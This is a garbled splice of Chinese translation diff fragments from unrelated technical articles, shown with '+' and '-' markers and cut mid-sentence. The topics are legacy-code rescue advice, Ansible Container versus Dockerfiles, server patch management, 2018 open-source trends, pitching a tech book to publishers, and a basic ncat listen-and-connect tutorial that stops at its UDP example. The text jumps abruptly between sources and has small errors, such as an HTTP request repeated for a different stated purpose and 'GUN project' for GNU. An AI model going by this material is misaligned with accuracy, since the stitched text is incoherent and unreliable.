+当你的第一反应（逃命）过去之后，你开始去熟悉这个项目。公司的管理层都在关注着你，所以项目只能成功；然而，看了一遍代码之后却发现失败几乎是不可避免。那么该怎么办呢？ + +幸运（不幸）的是我已经遇到好几次这种情况了，我和我的小伙伴发现将这坨热气腾腾的屎变成一个健康可维护的项目是一个有丰厚利润的业务。下面这些是我们的一些经验： + +### 备份 + +在开始做任何事情之前备份与之可能相关的所有文件。这样可以确保不会丢失任何可能会在另外一些地方很重要的信息。一旦修改了其中一些文件，你可能花费一天或者更多天都解决不了这个愚蠢的问题。配置数据通常不受版本控制，所以特别容易受到这方面影响，如果定期备份数据时连带着它一起备份了，还是比较幸运的。所以谨慎总比后悔好，复制所有东西到一个绝对安全的地方并不要轻易碰它，除非这些文件是只读模式。 + +### 重要的先决条件：必须确保代码能够在生产环境下构建运行并产出 + +之前我假设环境已经存在，所以完全丢了这一步，但 Hacker News 的众多网友指出了这一点，并且事实证明他们是对的：第一步是确认你知道在生产环境下运行着什么东西，也意味着你需要在你的设备上构建一个跟生产环境上运行的版本每一个字节都一模一样的版本。如果你找不到实现它的办法，一旦你将它投入生产环境，你很可能会遭遇一些预料之外的糟糕事情。确保每一部分都尽力测试，之后在你足够确信它能够很好的运行的时候将它部署生产环境下。无论它运行的怎么样都要做好能够马上切换回旧版本的准备，确保日志记录下了所有情况，以便于接下来不可避免的 “验尸” 。 + +### 冻结数据库 + +直到你修改代码结束之前尽可能冻结你的数据库，在你已经非常熟悉代码库和遗留代码之后再去修改数据库。在这之前过早的修改数据库的话，你可能会碰到大问题，你会失去让新旧代码和数据库一起构建稳固的基础的能力。保持数据库完全不变，就能比较新的逻辑代码和旧的逻辑代码运行的结果，比较的结果应该跟预期的没有差别。 + +### 写测试 + +在你做任何改变之前，尽可能多的写一些端到端测试和集成测试。确保这些测试能够正确的输出，并测试你对旧的代码运行的各种假设（准备好应对一些意外状况）。这些测试有两个重要的作用：其一，它们能够在早期帮助你抛弃一些错误观念，其二，这些测试在你写新代码替换旧代码的时候也有一定防护作用。 + +要自动化测试，如果你有 CI 的使用经验可以用它，并确保在你提交代码之后 CI 能够快速的完成所有测试。 + +### 日志监控 + +如果旧设备依然可用，那么添加上监控功能。在一个全新的数据库，为每一个你能想到的事件都添加一个简单的计数器，并且根据这些事件的名字添加一个函数增加这些计数器。用一些额外的代码实现一个带有时间戳的事件日志，你就能大概知道发生多少事件会导致另外一些种类的事件。例如：用户打开 APP 、用户关闭 APP 。如果这两个事件导致后端调用的数量维持长时间的不同，这个数量差就是当前打开的 APP 的数量。如果你发现打开 APP 比关闭 APP 多的时候，你就必须要知道是什么原因导致 APP 关闭了（例如崩溃）。你会发现每一个事件都跟其它的一些事件有许多不同种类的联系，通常情况下你应该尽量维持这些固定的联系，除非在系统上有一个明显的错误。你的目标是减少那些错误的事件，尽可能多的在开始的时候通过使用计数器在调用链中降低到指定的级别。（例如：用户支付应该得到相同数量的支付回调）。 + +这个简单的技巧可以将每一个后端应用变成一个像真实的簿记系统一样，而像一个真正的簿记系统，所有数字必须匹配，如果它们在某个地方对不上就有问题。 + +随着时间的推移，这个系统在监控健康方面变得非常宝贵，而且它也是使用源码控制修改系统日志的一个好伙伴，你可以使用它确认 BUG 引入到生产环境的时间，以及对多种计数器造成的影响。 + +我通常保持每 5 分钟（一小时 12 次）记录一次计数器，但如果你的应用生成了更多或者更少的事件，你应该修改这个时间间隔。所有的计数器公用一个数据表，每一个记录都只是简单的一行。 + +### 一次只修改一处 + +不要陷入在提高代码或者平台可用性的同时添加新特性或者是修复 BUG 的陷阱。这会让你头大，因为你现在必须在每一步操作想好要出什么样的结果，而且会让你之前建立的一些测试失效。 + +### 修改平台 + +如果你决定转移你的应用到另外一个平台，最主要的是跟之前保持一模一样。如果你觉得需要，你可以添加更多的文档和测试，但是不要忘记这一点，所有的业务逻辑和相互依赖要跟从前一样保持不变。 + +### 修改架构 + +接下来处理的是改变应用的结构（如果需要）。这一点上，你可以自由的修改高层的代码，通常是降低模块间的横向联系，这样可以降低代码活动期间对终端用户造成的影响范围。如果旧代码很庞杂，那么现在正是让它模块化的时候，将大段代码分解成众多小的部分，不过不要改变量和数据结构的名字。 + +Hacker News 的 [mannykannot][1] 网友指出，修改高层代码并不总是可行，如果你特别不幸的话，你可能为了改变一些架构必须付出沉重的代价。我赞同这一点也应该在这里加上提示，因此这里有一些补充。我想额外补充的是如果你修改高层代码的时候修改了一点点底层代码，那么试着只修改一个文件或者最坏的情况是只修改一个子系统，尽可能限制修改的范围。否则你可能很难调试刚才所做的更改。 + +### 底层代码的重构 + +现在，你应该非常理解每一个模块的作用了，准备做一些真正的工作吧：重构代码以提高其可维护性并且使代码做好添加新功能的准备。这很可能是项目中最消耗时间的部分，记录你所做的任何操作，在你彻底的记录并且理解模块之前不要对它做任何修改。之后你可以自由的修改变量名、函数名以及数据结构以提高代码的清晰度和统一性，然后请做测试（情况允许的话，包括单元测试）。 + +### 修复 bug + +现在准备做一些用户可见的修改，战斗的第一步是修复很多积累了几年的 bug。像往常一样，首先证实 bug 仍然存在，然后编写测试并修复这个 bug，你的 CI 和端对端测试应该能避免一些由于不太熟悉或者一些额外的事情而犯的错误。 + +### 升级数据库 + +如果你在一个坚实且可维护的代码库上完成所有工作，你就可以选择更改数据库模式的计划，或者使用不同的完全替换数据库。之前完成的步骤能够帮助你更可靠的修改数据库而不会碰到问题，你可以完全的测试新数据库和新代码，而之前写的所有测试可以确保你顺利的迁移。 + +### 按着路线图执行 + +祝贺你脱离的困境并且可以准备添加新功能了。 + +### 任何时候都不要尝试彻底重写 + +彻底重写是那种注定会失败的项目。一方面，你在一个未知的领域开始，所以你甚至不知道构建什么，另一方面，你会把所有的问题都推到新系统马上就要上线的前一天。非常不幸的是，这也是你失败的时候。假设业务逻辑被发现存在问题，你会得到异样的眼光，那时您会突然明白为什么旧系统会用某种奇怪的方式来工作，最终也会意识到能将旧系统放在一起工作的人也不都是白痴。在那之后。如果你真的想破坏公司（和你自己的声誉），那就重写吧，但如果你是聪明人，你会知道彻底重写系统根本不是一个可选的选择。 + +### 所以，替代方法：增量迭代工作 + +要解开这些线团最快方法是，使用你熟悉的代码中任何的元素（它可能是外部的，也可能是内核模块），试着使用旧的上下文去增量改进。如果旧的构建工具已经不能用了，你将必须使用一些技巧（看下面），但至少当你开始做修改的时候，试着尽力保留已知的工作。那样随着代码库的提升你也对代码的作用更加理解。一个典型的代码提交应该最多两三行。 + +### 发布！ + +每一次的修改都发布到生产环境，即使一些修改不是用户可见的。使用最少的步骤也是很重要的，因为当你缺乏对系统的了解时，有时候只有生产环境能够告诉你问题在哪里。如果你只做了一个很小的修改之后出了问题，会有一些好处： + +* 很容易弄清楚出了什么问题 +* 这是一个改进流程的好位置 +* 你应该马上更新文档展示你的新见解 + +### 使用代理的好处 + +如果你做 web 开发那就谢天谢地吧，可以在旧系统和用户之间加一个代理。这样你能很容易的控制每一个网址哪些请求定向到旧系统，哪些请求定向到新系统，从而更轻松更精确的控制运行的内容以及谁能够看到运行系统。如果你的代理足够的聪明，你可以使用它针对个别 URL 把一定比例的流量发送到新系统，直到你满意为止。如果你的集成测试也能连接到这个接口那就更好了。 + +### 是的，但这会花费很多时间！ + +这就取决于你怎样看待它了。的确，在按照以上步骤优化代码时会有一些重复的工作步骤。但是它确实有效，而这里介绍的任何一个步骤都是假设你对系统的了解比现实要多。我需要保持声誉，也真的不喜欢在工作期间有负面的意外。如果运气好的话，公司系统已经出现问题，或者有可能会严重影响到客户。在这样的情况下，我比较喜欢完全控制整个流程得到好的结果，而不是节省两天或者一星期。如果你更多地是牛仔的做事方式，并且你的老板同意可以接受冒更大的风险，那可能试着冒险一下没有错，但是大多数公司宁愿采取稍微慢一点但更确定的胜利之路。

使用容器，这个项目使得这种技术非常流行。除了使用这个容器引擎之外，我学到了怎么去使用 [docker-compose][6] 以及怎么去用它管理我的项目。使用它使得我的生产力猛增！一个命令就可以运行我的项目，而不管它有多复杂。因此，我太高兴了。 + +使用一段时间之后，我发现了一些问题。最明显的问题是创建容器镜像的过程。Docker 工具使用一个定制的文件格式作为生成容器镜像的依据：Dockerfile。这个格式易于学习，并且很短的一段时间之后，你就可以自己制作容器镜像了。但是，一旦你希望进一步掌握它或者考虑到复杂场景，问题就会出现。 + +让我们打断一下，先去了解一个不同的东西：[Ansible][22] 的世界。你知道它吗？它棒极了，是吗？你不这么认为？好吧，是时候去学习一些新事物了。Ansible 是一个允许你通过写一些任务去管理你的基础设施，并在你选择的环境中运行它们的项目。不需要去安装和设置任何的服务；你可以从你的笔记本电脑中很容易地做任何事情。许多人已经接受 Ansible 了。 + +想像一下这样的场景：你在 Ansible 中，你写了很多的 Ansible 角色role和剧本playbook，你可以用它们去管理你的基础设施，并且你想把它们运用到容器中。你应该怎么做？通过 shell 脚本和 Dockerfile 去写容器镜像定义？听起来好像不对。 + +来自 Ansible 开发团队的一些人问到这个问题，并且他们意识到，人们每天编写和使用的那些同样的 Ansible 角色和剧本也可以用来制作容器镜像。但是 Ansible 能做到的不止这些 —— 它可以被用于去管理容器化项目的完整生命周期。从这些想法中，[Ansible Container][12] 项目诞生了。它利用已有的 Ansible 角色转变成容器镜像，甚至还可以被用于生产环境中从构建到部署的完整生命周期。 + +现在让我们讨论一下，我之前提到过的在 Dockerfile 环境中的最佳实践问题。这里有一个警告：这将是非常具体且技术性的。出现最多的三个问题有： + +### 1、 在 Dockerfile 中内嵌的 Shell 脚本 + +当写 Dockerfile 时，你可以指定会由 `/bin/sh -c` 解释执行的脚本。它类似如下： + +``` +RUN dnf install -y nginx +``` + +这里 `RUN` 是一个 Dockerfile 指令，其它的都是参数（它们传递给 shell）。但是，想像一个更复杂的场景： + +``` +RUN set -eux; \ +    \ +# this "case" statement is generated via "update.sh" +    %%ARCH-CASE%%; \ +    \ +    url="https://golang.org/dl/go${GOLANG_VERSION}.${goRelArch}.tar.gz"; \ +    wget -O go.tgz "$url"; \ +    echo "${goRelSha256} *go.tgz" | sha256sum -c -; \ +``` + +这仅是从 [golang 官方镜像][13] 中拿来的一段。它看起来并不好看，是不是？ + +### 2、 解析 Dockerfile 并不容易 + +Dockerfile 是一个没有正式规范的新格式。如果你需要在你的基础设施（比如，让构建过程自动化一点）中去处理 Dockerfile 将会很复杂。仅有的规范是 [这个代码][14]，它是 **dockerd** 的一部分。问题是你不能使用它作为一个库library来使用。最容易的解决方案是你自己写一个解析器，然后祈祷它运行的很好。使用一些众所周知的标记语言不是更好吗？比如，YAML 或者 JSON。 + +### 3、 管理困难 + +如果你熟悉容器镜像的内部结构，你可能知道每个镜像是由层layer构成的。一旦容器被创建，这些层就使用联合文件系统技术堆叠在一起（像煎饼一样）。问题是，你并不能显式地管理这些层 — 你不能说，“这儿开始一个新层”，你被迫使用一种可读性不好的方法去改变你的 Dockerfile。最大的问题是，必须遵循一套最佳实践以去达到最优结果 — 新来的人在这个地方可能很困难。 + +### Ansible 语言和 Dockerfile 比较 + +相比 Ansible，Dockerfile 的最大缺点，也是 Ansible 的优点，作为一个语言，Ansible 更强大。例如，Dockerfile 没有直接的变量概念，而 Ansible 有一个完整的模板系统（变量只是它其中的一个特性）。Ansible 包含了很多更易于使用的模块，比如，[wait_for][15]，它可以被用于服务就绪检查，比如，在处理之前等待服务准备就绪。在 Dockerfile 中，做任何事情都通过一个 shell 脚本。因此，如果你想去找出已准备好的服务，它必须使用 shell（或者独立安装）去做。使用 shell 脚本的其它问题是，它会变得很复杂，维护成为一种负担。很多人已经发现了这个问题，并将这些 shell 脚本转到 Ansible。 + +### 关于作者 + + [![human](https://opensource.com/sites/default/files/styles/profile_pictures/public/pictures/ja.jpeg?itok=4ATUEAbd)][18] + +Tomas Tomecek - 工程师、Hacker、演讲者、Tinker、Red

下补丁管理的基础概念，包括良好的补丁管理该是怎样的，你可能会用到的一些相关工具，以及整个补丁安装过程是如何进行的。 ### 什么是补丁管理？ 我所说的补丁管理，是指你部署用于升级服务器上软件的系统，不仅仅是把软件更新到最新最好的前沿版本。即使是像 Debian 这样为了“稳定性”持续保持某一特定版本软件的保守派发行版，也会时常发布升级补丁用于修补错误和安全漏洞。 -当然，因为开发者对最新最好版本的需求，你需要派生软件源码并做出修改，或者因为你喜欢给自己额外的工作量，你的组织可能会决定自己维护特定软件的版本，这时你就会遇到问题。理想情况下，你应该已经配置好你的系统，让它在自动构建和打包定制版本软件时使用其它软件所用的同一套持续集成系统。然而，许多系统管理员仍旧在自己的本地主机上按照维基上的文档（但愿是最新的文档）使用过时的方法打包软件。不论使用哪种方法，你都需要明确你所使用的版本有没有安全缺陷，如果有，那必须确保新补丁安装到你定制版本的软件上了。

### 良好的补丁管理是怎样的 @@ -17,17 +17,17 @@ 一些组织仍在使用手动方式管理补丁。在这种方式下，当出现一个安全补丁，系统管理员就要凭借记忆，登录到各个服务器上进行检查。在确定了哪些服务器需要升级后，再使用服务器内建的包管理工具从发行版仓库升级这些软件。最后以相同的方式升级剩余的所有服务器。 -手动管理补丁的方式存在很多问题。首先，这么做会使补丁安装成为一个苦力活，安装补丁需要越多人力成本，系统管理员就越可能推迟甚至完全忽略它。其次，手动管理方式依赖系统管理员凭借记忆去跟踪他或她所负责的服务器的升级情况。这非常容易导致有些服务器被遗漏而未能及时升级。

-补丁管理越快速简便，你就越可能把它做好。你应该构建一个系统，用来快速查询哪些服务器运行着特定的软件，以及这些软件的版本号，而且它最好还能够推送各种升级补丁。就个人而言，我倾向于使用 MCollective 这样的编排工具来完成这个任务，但是红帽提供的 Satellite 以及 Canonical 提供的 Landscape 也可以让你在统一的管理接口查看服务器上软件的版本信息，并且安装补丁。

-补丁安装还应该具有容错能力。你应该具备在不下线的情况下为服务安装补丁的能力。这同样适用于需要重启系统的内核补丁。我采用的方法是把我的服务器划分为不同的高可用组，lb1，app1,rabbitmq1 和 db1 在一个组，而lb2，app2,rabbitmq2 和 db2 在另一个组。这样，我就能一次升级一个组，而无须下线服务。

所以，多快才能算快呢？对于少数没有附带服务的软件，你的系统最快应该能够在几分钟到一小时内安装好补丁（例如 bash 的 ShellShock 漏洞）。对于像 OpenSSL 这样需要重启服务的软件，以容错的方式安装补丁并重启服务的过程可能会花费稍多的时间，但这就是编排工具派上用场的时候。我在最近的关于 MCollective 的文章中（查看 2016 年 12 月和 2017 年 1 月的工单）给了几个使用 MCollective 实现补丁管理的例子。你最好能够部署一个系统，以具备容错性的自动化方式简化补丁安装和服务重启的过程。 如果补丁要求重启系统，像内核补丁，那它会花费更多的时间。再次强调，自动化和编排工具能够让这个过程比你想象的还要快。我能够在一到两个小时内在生产环境中以容错方式升级并重启服务器，如果重启之间无须等待集群同步备份，这个过程还能更快。 -不幸的是，许多系统管理员仍坚信过时的观点，把运行时间作为一种骄傲的象征——鉴于紧急内核补丁大约每年一次。对于我来说，这只能说明你没有认真对待系统的安全性。 +不幸的是，许多系统管理员仍坚信过时的观点，把持续运行时间（uptime）作为一种骄傲的象征——鉴于紧急内核补丁大约每年一次。对于我来说，这只能说明你没有认真对待系统的安全性！ 很多组织仍然使用无法暂时下线的单点故障的服务器，也因为这个原因，它无法升级或者重启。如果你想让系统更加安全，你需要去除过时的包袱，搭建一个至少能在深夜维护时段重启的系统。 @@ -41,9 +41,9 @@ Kyle Rankin 是高级安全与基础设施架构师，其著作包括： Linux H via:

将获取更大认可。加之众多大型的软件开发及托管公司以及成千上万会员的支持， OpenStack 在云计算时代前途光明。 + +### 2、 PWA 或将大热 + +PWA，即 [增强型网页应用][13]Progressive Web App，是对技术、设计和网络应用程序接口Web API的整合，它能够在移动浏览器上提供类似应用的体验。 + +传统的网站有许多与生俱来的缺点。虽然应用（app）提供了比网站更加个性化、用户参与度更高的体验，但是却要占用大量的系统资源；并且要想使用应用，你还必须提前下载安装。PWA 则扬长避短，它可用浏览器访问、可被引擎搜索检索，并可响应式适应外在环境，为用户提供应用级体验。PWA 也能像应用一样自我更新，总是显示最新的实时信息，并且像网站一样，以极其安全的 HTTPS 模式递交信息。PWA 运行于标准容器中，无须安装，任何人只要输入 URL 即可访问。 + +现在的移动用户看重便利性和参与度，PWAs 的特性完美契合这一需求，所以 PWA 成为主流是必然趋势。 + +### 3、 Rust 成开发者新宠 + +大多数的编程语言都需在安全和控制二者之间折衷，但 [Rust][14] 是一个例外。Rust 使用广泛的编译时检查进行 100% 的控制而不影响程序安全性。上一次 [Pwn2Own][15] 竞赛找出了 Firefox C++ 底层实现的许多严重漏洞。如果 Firefox 是用 Rust 编写的，这些漏洞在产品发布之前的编译阶段就会被发现并解决。 + +Rust 独特的内建单元测试方式使开发者们考虑将其作为首选的开源语言。它是 C 和 Python 等其他编程语言有效的替代方案，Rust 可以在不损失程序可读性的情况下写出安全的代码。总之，Rust 前途光明。 + +### 4、 R 用户群在壮大 + +[R][16] 编程语言，是一个与统计计算和图像呈现相关的 [GUN 项目][32]。它提供了大量的统计和图形技术，并且可扩展增强。它是 [S][17] 语言的延续。S 语言早已成为统计方法学的首选工具，R 为数据操作、计算和图形显示提供了开源选择。R 语言的另一个优势是对细节的把控和对细微差别的关注。 + +和 Rust 一样，R 语言也处于上升期。 + +### 5、 广义的 XaaS + +XaaS 是 “一切皆服务anything as a service” 的缩写，是通过网络提供的各种线上服务的总称。XaaS 的外延正在扩大，软件即服务（SaaS）、基础设施即服务（IaaS） 和平台即服务（PaaS）等观念已深入人心，新兴的基于云的服务如网络即服务（NaaS）、存储即服务（SaaS 或 StaaS）、监控即服务（MaaS）以及通信即服务（CaaS）等概念也正在普及。我们正在迈向一个万事万物 “皆为服务” 的世界。 + +现在，XaaS 的概念已经延伸到实体企业。著名的例子有 Uber 、Lyft 和 Airbnb，前二者利用新科技提供交通服务，后者提供住宿服务。 + +高速网络和服务器虚拟化使得强大的计算能力成为可能，这加速了 XaaS 的发展，2018 年可能是 “XaaS 年”。XaaS 无与伦比的灵活性、可扩展性将推动 XaaS 进一步发展。 + +### 6、 容器技术越来越受欢迎 + +[容器技术][28]，是用标准化方法打包代码的技术，它使得代码能够在任意环境中快速地 “接入并运行”。容器技术让企业可以削减经费、降低实施周期。尽管容器技术在 IT 基础结构改革方面的已经初显潜力，但事实上，运用好容器技术仍然比较复杂。 + +容器技术仍在发展中，技术复杂性随着各方面的进步在下降。最新的技术让容器使用起来像使用智能手机一样简单、直观，更不用说现在的企业需求：速度和灵活性往往能决定业务成败。 + +### 7、 机器学习和人工智能的更广泛应用 + +[机器学习和人工智能][18] 指在没有程序员给出明确的编码指令的情况下，机器具备自主学习并且积累经验自我改进的能力。 + +随着一些开源技术利用机器学习和人工智能实现尖端服务和应用，这两项技术已经深入人心。 + +[Gartner][19] 预测，2018 年机器学习和人工智能的应用会更广。其他一些领域诸如数据准备、集成、算法选择、学习方法选择、模块制造等随着机器学习的加入将会取得很大进步。 + +全新的智能开源解决方案将改变人们和系统交互的方式，转变由来已久的工作观念。 + +* 机器交互，像[聊天机器人][29]这样的对话平台，提供“问与答”的体验——用户提出问题，对话平台作出回应，成为人机之间默认的交互界面。 +* 无人驾驶和无人机现在已经家喻户晓了，2018 年将会更司空见惯。 +* 沉浸式体验的应用不再仅仅局限于视频游戏，在真实的生活场景比如设计、培训和可视化过程中都能看到沉浸式体验的身影。 + +### 8、 区块链将成为主流 + +自比特币应用区块链技术以来，其已经取得了重大进展，并且已广泛应用在金融系统、保密选举、学历验证等领域中。未来几年，区块链会在医疗、制造业、供应链物流、政府服务等领域中大展拳脚。 + +区块链分布式存储数据信息，这些数据信息依赖于数百万个共享数据库的节点。区块链不被任意单一所有者控制，并且单个损坏的节点不影响其正常运行，区块链的这两个特性让它异常健壮、透明、不可破坏。同时也规避了有人从中篡改数据的风险。区块链强大的先天优势足够支撑其成为将来主流技术。 + +### 9、 认知云粉墨登场 + +认识技术，比如前面所述的机器学习和人工智能，用于为多行业提供简单化和个性化服务。一个典型例子是金融行业的游戏化应用，其为投资者提供了严谨的投资建议，降低投资模块的复杂程度。数字信托平台使得金融机构的身份认证过程较以前精简 80%，提升了合规性，降低了诈骗比率。 + +认知云技术现在正向云端迁移，借助云，它将更加强大。[IBM Watson][33] 是认知云应用最知名的例子。IBM 的 UIMA 架构是开源的，由 Apache 基金会负责维护。DARPA（美国国防高级研究计划局）的 DeepDive 项目借鉴了 Watson 的机器学习能力，通过不断学习人类行为来增强决策能力。另一个开源平台 [OpenCog][34] ，为开发者和数据科学家开发人工智能应用程序提供支撑。 + +考虑到实现先进的、个性化的用户体验风险较高，这些认知云平台来年时机成熟时才会粉墨登场。 + +### 10、 物联网智联万物 + +物联网（IoT）的核心在于建立小到嵌入式传感器、大至计算机设备的相互连接，让其（“物”）相互之间可以收发数据。毫无疑问，物联网将会是科技界的下一个 “搅局者”，但物联网本身处于一个不断变化的状态。 + +物联网最广为人知的产品就是 IBM 和三星合力打造的去中心化 P2P 自动遥测系统（[ADEPT][20]）。它运用和区块链类似的技术来构建一个去中心化的物联网。没有中央控制设备，“物” 之间通过自主交流来进行升级软件、处理 bug、管理电源等等一系列操作。 + +### 开源推动技术创新 + +[数字化颠覆][30]是当今以科技为中心的时代的常态。在技术领域，开放源代码正在逐渐普及，其在 2018 将年成为大多数技术创新的驱动力。 +

book](https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/EDUCATION_colorbooks.png?itok=vNhsYYyC "How to find a publisher for your tech book") + +你有一个写本科技书籍的想法，那么祝贺你！就像在阿巴拉契亚山脉徒步旅行，或者是去学做一种蛋奶酥，写书是人们经常讨论的话题之一，但是却都只停留在思考的初级阶段。那是可以理解的，因为失败的几率是很高的。要想实现它，你需要在把自己的想法阐述给出版商，去探讨是否已经做好充分的准备去写成一本书。要去实现这一步是相当困难的，但缺乏关于如何做这件事的信息会使事情变得复杂。 + +如果你想和一家传统的出版商合作，那么你需要在他们面前推销你的书稿以期望能够得到出版的机会。因为我是 [Pragmatci Bookshelf][4] 的总编，所以经常看到很多的选题，也去帮助作者制作出好的作品。这些选题中有些是好的，有些则不然，但我经常会看到许多不符合我们出版社风格的文稿。我会帮助你找到最适合的出版商，来让你的想法得到认可。 + +### 确定你的目标 + +你的第一步是要找出最适合你的想法的出版商。首先，想想你经常买书的以及你喜欢的出版商，你的书会被像你自己一样的人喜欢的几率是很高的，所以从你自己最喜欢的出版商开始，列出一个简短的列表将会大大缩小你的搜索范围。如果你自己所买的书籍并不多。那么可以去书店逛逛，或者在亚马逊网站上看看。 列一个你自己喜欢的几家出版商的清单出来。 下一步，筛选出你期望的出版商，尽管大多数技术类出版商看起来没什么差别，但他们通常各有不同的读者群体。有些出版商会选择广受欢迎的话题，如 C++ 或者 Java，那么你以 Elixir 为主题的书稿就可能不适合那个出版商；如果你的书稿是关于教授小孩学习编程的，那么你可能就不想让学术出版商来出版。 一旦确定了一些目标，你就可以在他们的商品目录、网站或者亚马逊上对其进行进一步的调查，去寻找有哪些书籍和你的思想是相符的。如果他们能有一本和你自己的书稿主题一样或很相近的书，那么你将很难说服他们和你签约。但那并不意味着已经可以把这样的出版商从你的列表中划掉，你可以将自己的书稿主题进行适当的修改以将它和已经发行的书区别开来：比如定位于不同的读者群体，或者不同层次的技能水平。也许已发行的那本书已经过时了，你就可以专注于该技术领域里的新方法，确保你的书稿能够弥补现有书的不足，更加完善，而不是单纯的竞争。 如果你锁定的出版商没有出版过类似的书籍，也许这将会是个好迹象，但也许是个坏迹象。有时候一些供应商不会选择去出版一些专业技术方面的书籍，或者是因为他们认为自己的读者不会感兴趣，也可能是因为他们曾经在这块领域遇到过麻烦。新的语言或者类库一直在不停地涌现出来，出版商们不得不去琢磨什么样的书籍内容将会吸引他们的读者群体。他们的评估标准可能和你的是不一样的。他们已经有了最终决定，也可能是还在等待合适的选题。判断究竟是哪一种的唯一方法就是提出文稿并找出答案。 + +### 建立起你自己的网络 + +确定一家出版商是第一步；现在你需要与其建立联系。不幸的是，出版需要的仍旧是你认识什么人，而不是你知道什么。你需要认识的那个人是一个去发现新市场、新作者和新选题的策划编辑。如果你认识某个和出版商有关系的人，请他给你介绍一位策划编辑。这些策划编辑往往负责一个专题板块，尤其是在较大的出版商，但你并非一定要找到符合你书稿的专题板块的编辑。各类板块的编辑通常都会很乐意将你介绍给合适的编辑。 + 有时候你也许能够在一个技术会议上找到一个策划编辑，特别是在出版商同时也是赞助商，而且还有一个展台时。即使当时并没有一个策划编辑在场，展台的其他工作人员也能够帮你和策划编辑建立联系。 如果会议不符合你的主题思想，那就需要你利用自己的社交网络来获得别人的推荐。比如使用 LinkedIn，或者其他非正式的联系方式，去和一个编辑建立联系。 对于小型的出版商，你可能会在公司网站上发现策划编辑的名单，如果你够幸运的话，还可以找到他们的联系信息。如果找不到联系方式的话，可以在推特上搜寻出版商的名字，试试能否找到他们的编辑的信息，在社交媒体上去寻找一位陌生的人，然后把自己的书稿推荐给他，这也许会让你有些紧张，但是你真的不必去担心这些，建立联系也是策划编辑的工作之一。最坏的结果只不过是他们忽视你而已。 一旦建立起联系，策划编辑将会协助你进行下一步。他们可能会立刻对你的书稿给予反馈，或者在他们可能想让你根据他们的指导来修改你的文章，使其变得更加充实。当你经过努力找到了一名策划编辑后，多听从他们的建议，因为他们比你更熟悉出版商的运作流程。 + +### 如果其他的方法都失败了 + +如果你无法联系到一名策划编辑，出版商通常会有一个书稿盲投proposal alias的方式来接受投稿，通常是 `proposals@[publisher].com` 的格式。 查找他们网站的介绍，找到如何去发送书稿；有的出版商是有特殊的要求的。你需要遵循他们的要求，如果不这样做的话，你的书稿将会被丢弃，它不会被任何人阅读。如果你有疑问，或者不确定出版商的意图，那么你需要再尝试着去找一名编辑进一步地沟通，因为书稿并不能回答那些问题。整理他们对你的要求（一篇独立的主题文章），发给他们，然后你要做的就是期望能够得到满意的答复。 + +### 等待 + +无论你是如何与一个出版商取得联系的，你也得等待着。如果你已经投递了书稿，也许要过一段时间才有人去处理你的稿件，特别是在一些大公司。即使你已经找了一位策划编辑去处理你的投稿，你可能也只是他同时在处理的潜在目标之一，所以你可能不会很快得到答复。几乎所有的出版商都会在最终确认之前召开一次组委会来决定接受哪个稿件，所以即使你的书稿已经足够的优秀，并且可以出版了，你也仍然需要等待组委会开会讨论。你可能需要等待几周，甚至是一个月的时间。 + 几周过后，你可以和编辑再联系一下，看看他们是否需要更多的信息。在邮件中你要表现出足够的礼貌；如果他们仍然没有回复，也许是因为他们有太多的投稿需要处理，即使你不停地催促也不会让你的稿件被提前处理。一些出版商有可能永远不会回复你，也不会去发一份退稿的通知给你，但那种情况并不常见。在这种情况下你除了耐心地等待也没有别的办法，如果几个月后也没有人回复你邮件，你完全可以去接触另一个出版商或者干脆考虑自出版。 + +### 祝好运 + +如果你觉得这个过程看起来让你感觉有些混乱和不科学，这是很正常的。能够得到出版要在合适的时间地点，与合适的人沟通，而且还要期待他们此时有好的心情。你无法去控制这些不确定的因素，但是更好地了解行业的工作方式，以及出版商的需求，可以帮助你完善它们。 + 寻找一个出版商只是万里长征的第一步。你需要提炼你的思想，并创建选题，以及其他方面的考虑。在今年的 SeaGLS 上，我对整个过程做了[介绍][5]。查看[视频][6]可以获取更详细的信息。 + +### 关于作者 + +[![](https://opensource.com/sites/default/files/styles/profile_pictures/public/pictures/portrait.jpg?itok=b77dlNC4)][7] + +麦克唐纳先生现在是 Pragmatic Bookshelf 的总编。过去 20 年在技术出版领域生涯中，他是一名编辑、一名作者，偶尔还去客串演讲者或者讲师。他现在把大量的时间都用来和新作者探讨如何更好地表达出他们的想法。你可以关注他的推特@bmac_editor。 如果这篇文章点燃你写书的热情，但又不知道如何找到合适的途径联系出版商，不如逛逛像异步社区这样的网站，按照上文的步骤尝试一下，也许能够发现新的希望。 +

的工具，但是是用于网络的。它是一款拥有多种功能的 CLI 工具，可以用来在网络上读、写以及重定向数据。 它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接，因此也是一个很好的网络调试工具。 + +`ncat`/`nc` 既是一个端口扫描工具，也是一款安全工具，还能是一款监测工具，甚至可以做为一个简单的 TCP 代理。 由于有这么多的功能，它被誉为是网络界的瑞士军刀。 这是每个系统管理员都应该知道并且掌握它。 + +在大多数 Debian 发行版中，`nc` 是默认可用的，它会在安装系统的过程中自动被安装。 但是在 CentOS 7 / RHEL 7 的最小化安装中，`nc` 并不会默认被安装。 你需要用下列命令手工安装。 + +``` +[root@linuxtechi ~]# yum install nmap-ncat -y +``` + +系统管理员可以用它来审计系统安全，用它来找出开放的端口然后保护这些端口。 管理员还能用它作为客户端来审计 Web 服务器、telnet 服务器、邮件服务器等， 通过 `nc` 我们可以控制发送的每个字符，也可以查看对方的回应。 + +我们还可以用它捕获客户端发送的数据以此来了解这些客户端是做什么的。 + +在本文中，我们会通过 10 个例子来学习如何使用 `nc` 命令。 + +### 例子： 1) 监听入站连接 + +通过 `-l` 选项，`ncat` 可以进入监听模式，使我们可以在指定端口监听入站连接。 完整的命令是这样的： + +``` +$ ncat -l port_number +``` + +比如， + +``` +$ ncat -l 8080 +``` + +服务器就会开始在 8080 端口监听入站连接。 + +### 例子： 2) 连接远程系统 + +使用下面命令可以用 `nc` 来连接远程系统， + +``` +$ ncat IP_address port_number +``` + +让我们来看个例子， + +``` +$ ncat 192.168.1.100 80 +``` + +这会创建一个连接，连接到 IP 为 192.168.1.100 的服务器上的 80 端口，然后我们就可以向服务器发送指令了。 比如我们可以输入下面内容来获取完整的网页内容 + +``` +GET / HTTP/1.1 +``` + +或者获取页面名称， + +``` +GET / HTTP/1.1 +``` + +或者我们可以通过以下方式获得操作系统指纹标识， + +``` +HEAD / HTTP/1.1 +``` + +这会告诉我们使用的是什么软件来运行这个 web 服务器的。 + +### 例子： 3) 连接 UDP 端口 + +默认情况下，`nc` 创建连接时只会连接 TCP 端口。 